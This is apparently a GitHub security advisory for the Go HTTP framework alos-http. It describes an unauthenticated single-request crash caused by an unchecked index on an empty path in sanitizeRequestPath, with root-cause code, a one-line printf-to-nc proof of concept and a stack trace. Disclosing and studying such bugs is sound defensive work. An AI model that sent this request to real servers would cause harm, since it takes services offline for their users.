GHSA-hr6j-w4mw-g9mj: High severity go/github.com/guno1928/alos-http vulnerability

Summary A single unauthenticated HTTP request to a path starting with ? (e.g. GET ? HTTP/1.1) crashes the entire server process. The request line parser passes the path to sanitizeRequestPath which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so core.Recovery() does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if ListenAndServeQUIC is enabled

Details root cause: core/utils.go::sanitizeRequestPath go // assume path := "?" if len(path) == 0 { // len(path) == 1 return "/" }

p, := splitPathQuery(path) // p == ""

if p[0] == '/' /.../ { // p[0] on empty string => panic: index out of range return p }

when the path starts with "?" len(path) is not 0 so the early return does not fire after splitPathQuery p is empty "" p is then indexed p[0] without a length check

Relevant calling sites:

h1plain.go:ParseH1RequestHead (HTTP/1.1) h1.go::ParseH1Request (dead code) hpack.go::decodeSimpleGetPathHTTPSRequest (HTTP/2) hpack.go::observeHeader (HTTP/2) h3conn.go::handleRequestStream (HTTP/3)

these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic

PoC

Minimal server, using the quick-start

go srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true}) srv.Router.Use(core.Recovery()) // is unable to catch a parser panic srv.Router.GET("/", func(req core.Request, resp core.Response) { resp.Status(200).String("not crashed (yet)") }) log.Fatal(srv.ListenAndServe())

Crash it with a single request

bash printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080

Server output & crash

log 2026/06/11 20:52:52 listening on http://localhost:8080 2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false 2026/06/11 20:52:52 [INFO] raised RLIMITNOFILE soft limit to 1048576 (hard=1048576) 2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) === 2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s)) 2026/06/11 20:52:52 [INFO] iouring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600 panic: runtime error: index out of range [0] with length 0

goroutine 34 [running]: github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1}) /home/baloo/alos-http/core/utils.go:566 +0x64a github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098) /home/baloo/alos-http/core/h1plain.go:474 +0x48c github.com/guno1928/alos-http/core.(plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000) /home/baloo/alos-http/core/uringplainworkerslinuxamd64.go:618 +0x1db github.com/guno1928/alos-http/core.(plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?) /home/baloo/alos-http/core/uringplainworkerslinuxamd64.go:572 +0x365 github.com/guno1928/alos-http/core.(plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?) /home/baloo/alos-http/core/uringplainworkerslinuxamd64.go:510 +0x25 github.com/guno1928/alos-http/core.(plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?) /home/baloo/alos-http/core/uringplainworkerslinuxamd64.go:453 +0x185 github.com/guno1928/alos-http/core.(plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000) /home/baloo/alos-http/core/uringplainworkerslinuxamd64.go:373 +0x72a github.com/guno1928/alos-http/core.(plainUringBackend).start.func1() /home/baloo/alos-http/core/uringplainworkerslinuxamd64.go:190 +0x69 created by github.com/guno1928/alos-http/core.(plainUringBackend).start in goroutine 1 /home/baloo/alos-http/core/uringplainworkerslinuxamd64.go:188 +0x3a exit status 2

all subsequent requests now fail, since the server is down

Impact

Unauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request. Repeating this process keeps the service offline. There is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)